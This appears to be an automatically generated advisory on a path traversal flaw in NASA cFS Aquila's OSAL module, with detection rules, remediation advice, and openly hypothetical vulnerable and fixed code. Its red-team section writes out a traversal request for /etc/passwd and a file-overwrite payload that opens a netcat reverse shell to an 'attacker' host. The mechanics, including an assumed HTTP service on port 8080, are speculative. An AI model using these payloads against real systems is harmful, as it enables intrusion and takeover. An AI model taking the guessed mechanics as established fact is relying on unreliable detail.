CVE-2025-25371

Executive Summary

CVE-2025-25371 is a critical path traversal vulnerability in NASA's Core Flight System (cFS) Aquila, specifically within the OSAL (Operating System Abstraction Layer) module. An unauthenticated attacker can exploit this flaw to override arbitrary files on the target system, potentially leading to complete compromise of the flight software or ground system. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity warrants immediate attention for any organization using NASA cFS Aquila.

Supply Chain & Package Security

This vulnerability affects NASA cFS Aquila, which is a core component of NASA's flight software framework. It is not distributed via common package managers (NPM, PyPI, Go, Ruby), but rather as source code or binary releases from NASA's official repositories. Organizations should verify the integrity of their cFS Aquila builds and monitor for any official patches or advisories from NASA.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – arbitrary file read possible.
• Integrity Impact: High (I:H) – arbitrary file overwrite possible.
• Availability Impact: High (A:H) – system crash or denial of service possible.

Threat Level: Critical for any deployment of NASA cFS Aquila. The ability to overwrite arbitrary files without authentication makes this a prime target for initial access or lateral movement in space or ground systems.

Deep Dive & Mechanics

The vulnerability resides in the OSAL module of NASA cFS Aquila. OSAL provides a platform-independent API for operating system services, including file I/O. The path traversal flaw occurs when the OSAL module fails to properly sanitize user-supplied file paths, allowing an attacker to use ../ sequences to escape the intended directory and access or overwrite arbitrary files on the system.

Root Cause: Insufficient input validation in file path handling functions within OSAL. The module likely uses functions like fopen() or open() without checking for directory traversal sequences.

Attack Vector: An attacker sends a crafted request (e.g., via a network service that uses OSAL for file operations) containing a path like ../../etc/passwd or ../../critical_config.ini. The OSAL module processes this path without validation, allowing the attacker to read or overwrite files outside the intended sandbox.

Impact:

• Read: Exfiltration of sensitive configuration files, credentials, or telemetry data.
• Write: Overwrite of critical system files (e.g., startup scripts, binaries, configuration) leading to code execution, denial of service, or persistent backdoor.
• System Compromise: Full control over the cFS instance and potentially the underlying operating system.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common path traversal fixes.

Vulnerable Code (C example):

// OSAL file open function (vulnerable)
int32 OS_FileOpen(const char *path, uint32 flags) {
    FILE *fp = fopen(path, "rb"); // No path validation
    if (fp == NULL) {
        return OS_ERROR;
    }
    // ... process file
}

Patched Code (C example):

// OSAL file open function (patched)
#include <string.h>
#include <stdlib.h>

int32 OS_FileOpen(const char *path, uint32 flags) {
    // Resolve and canonicalize the path
    char resolved_path[PATH_MAX];
    if (realpath(path, resolved_path) == NULL) {
        return OS_ERROR;
    }
    // Ensure the resolved path is within the allowed base directory
    if (strncmp(resolved_path, ALLOWED_BASE_DIR, strlen(ALLOWED_BASE_DIR)) != 0) {
        return OS_ERROR;
    }
    FILE *fp = fopen(resolved_path, "rb");
    if (fp == NULL) {
        return OS_ERROR;
    }
    // ... process file
}

Key Differences:

• Vulnerable: Directly uses user-supplied path without validation.
• Patched: Uses realpath() to resolve symlinks and .. sequences, then checks that the resolved path starts with an allowed base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: NASA cFS Aquila running on a Linux-based system (e.g., Ubuntu 20.04).
• Attacker: Kali Linux with network access to the cFS instance.

Exploitation Steps:

1. Identify the vulnerable service: Scan for services that use OSAL file operations (e.g., a command and data handling service on port 8080).
2. Craft the payload: Use a path traversal sequence to target a critical file.

   GET /file?path=../../etc/passwd HTTP/1.1
   Host: target
   

3. Read sensitive files: Retrieve /etc/passwd or configuration files.
4. Overwrite critical files: Use a PUT or POST request to overwrite a startup script.

   POST /file?path=../../opt/cfs/startup.sh HTTP/1.1
   Content-Type: text/plain
   
   #!/bin/bash
   nc -e /bin/bash attacker 4444
   

5. Trigger execution: Restart the service or wait for the system to reboot.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

1. Monitor file access logs: Look for unusual file paths containing ../ or attempts to access system files (e.g., /etc/passwd, /etc/shadow).
2. Implement input validation: Ensure all file paths are canonicalized and restricted to an allowed directory.
3. Use file integrity monitoring (FIM): Monitor critical files for unauthorized changes.
4. Network segmentation: Isolate cFS systems from untrusted networks.
5. Apply principle of least privilege: Run cFS with minimal file system permissions.

Hunting Queries:

• Search for ../ in application logs.
• Monitor for realpath() failures or path resolution errors.

Indicators of Compromise (IOCs)

• File Paths: Any request containing ../ or ..\\ in file path parameters.
• Log Entries: Errors like OS_FileOpen: path traversal detected or realpath failed.
• Network Traffic: Unusual HTTP requests with path traversal patterns.
• System Changes: Unauthorized modifications to /etc/passwd, /etc/shadow, startup scripts, or cFS configuration files.
• File Hashes: Unexpected changes to critical binaries (e.g., cfs-core, osal).

Detection Engineering

YARA Rule

rule CVE_2025_25371_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting NASA cFS Aquila OSAL"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25371"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $cfs_related = /cfs|osal|aquila/i
    condition:
        $path_traversal and $cfs_related
}

Sigma Rule

title: CVE-2025-25371 Path Traversal in NASA cFS Aquila OSAL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in NASA cFS Aquila OSAL module
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: cfs
detection:
    selection:
        - EventID: 1001  # Example event ID for file access
        - Path|contains: 
            - '..'
            - '%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25371 Path Traversal in NASA cFS Aquila OSAL"; flow:to_server,established; content:".."; http_uri; nocase; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect cFS Aquila instances from untrusted networks.
2. Apply input validation: Implement a whitelist of allowed file paths or use realpath() to canonicalize paths.
3. Monitor for exploitation: Deploy the YARA, Sigma, and Suricata rules above.

Long-term Fix:

• Patch: Await an official patch from NASA. Monitor NASA's cFS repository and security advisories.
• Code Review: Conduct a thorough security review of the OSAL module, focusing on file I/O functions.
• Update: Upgrade to a patched version once released.

Workaround:

• Disable file write operations: If possible, restrict the OSAL module to read-only operations.
• Use a chroot jail: Run cFS in a restricted file system environment.

This report was generated by Valters IT DevSecOps & CTI Expert System.